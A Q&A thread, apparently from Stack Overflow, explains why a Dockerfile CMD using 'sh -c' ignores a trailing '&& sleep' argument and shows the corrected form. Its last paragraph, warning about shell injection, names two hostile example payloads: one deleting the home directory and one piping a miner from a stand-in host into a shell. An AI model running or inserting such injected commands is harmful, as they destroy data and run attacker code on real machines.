Search code examples
dockershelldockerfilesleep

Dockerfile not executing CMD commands in serie


I have created a Dockerfile which I will be testing in kubernetes. It's an ubuntu image and I need it to

  1. Do a wget
  2. Leave a process running so the container doesn't shuts down after the wget

I could have used a nginx image to comply with step 2. But I didn't, instead, in the CMD clause I just put sleep 1000000 which has usually worked for me so the container doesn't stops. The reason why I didn't do something proper to leave a process running is of no importance now. What is important is the following question.

This is my Dockerfile

FROM ubuntu:latest
RUN apt-get update \
&& apt-get install -y iputils-ping \
&& apt-get install -y wget



CMD ["sh","-c","wget https://httpbin.org/get","&&","sleep 1000000000000"]

After I build it, for some reason, it shuts down almost instantly after I hit docker run -d <image_name>. But by looking at the logs docker logs -t <container_name> I can see the wget command worked correctly.

My question is, why does the "&&","sleep 1000000000000" part of the CMD of the Dockefile didn't came up after the wget finished? I know it didn't came up because the container runs the wget properly and then exists with status 0, even though that sleep should leave it running for days.

The reasons why I run that wget to a dummy server is of no importance now, when I test at k8s I will replace it for an actual service to see if its reachable. So it's of no importance, the question would be why did the sleep didn't executed after the wget


Solution

  • Fixing the problem

    The correct way to write what you want is:

    CMD ["sh", "-c", "wget https://httpbin.org/get && sleep 1000000000000"]
    

    ...or its precise equivalent,

    CMD wget https://httpbin.org/get && sleep 1000000000000
    

    Explaining the problem

    sh -c only takes one argument to parse as code.

    The argument after that one becomes $0 in the context where that code is run.

    The argument after that one becomes $1.

    The argument after that one becomes $2... etc.

    But because the shell script wget https://httpbin.org/get doesn't look at $0 or $1, all your subsequent arguments just get ignored entirely.


    What good is that behavior?

    If you wanted to actually use those extra arguments, you might instead do something like:

    CMD ["sh", "-c", "wget \"$1\" && sleep \"$2\"", "sh", "https://httpbin.org/get", "1000000000000"]
    

    ...wherein $0 becomes sh (used in error messages); $1 becomes https://httpbin.org/get, and $2 becomes the desired amount of sleep.

    The main advantage of this is that only the argument following -c is parsed as code by the shell, so only the contents of that argument can be used for shell injection attacks (presuming that later code doesn't do something stupid, such as evaling that data). You can put completely untrusted content into later arguments, and you might need to worry about how wget or sleep parses or behaves with that content, but you don't need to worry about how the shell itself will behave with it; so if you're passing through a URL from someone who might try to sneak in a $(rm -rf ~) or a $(curl https://evil.co/bitcoin-miner | sh -), it's safer to pass that content as an argument instead of in-band with your code.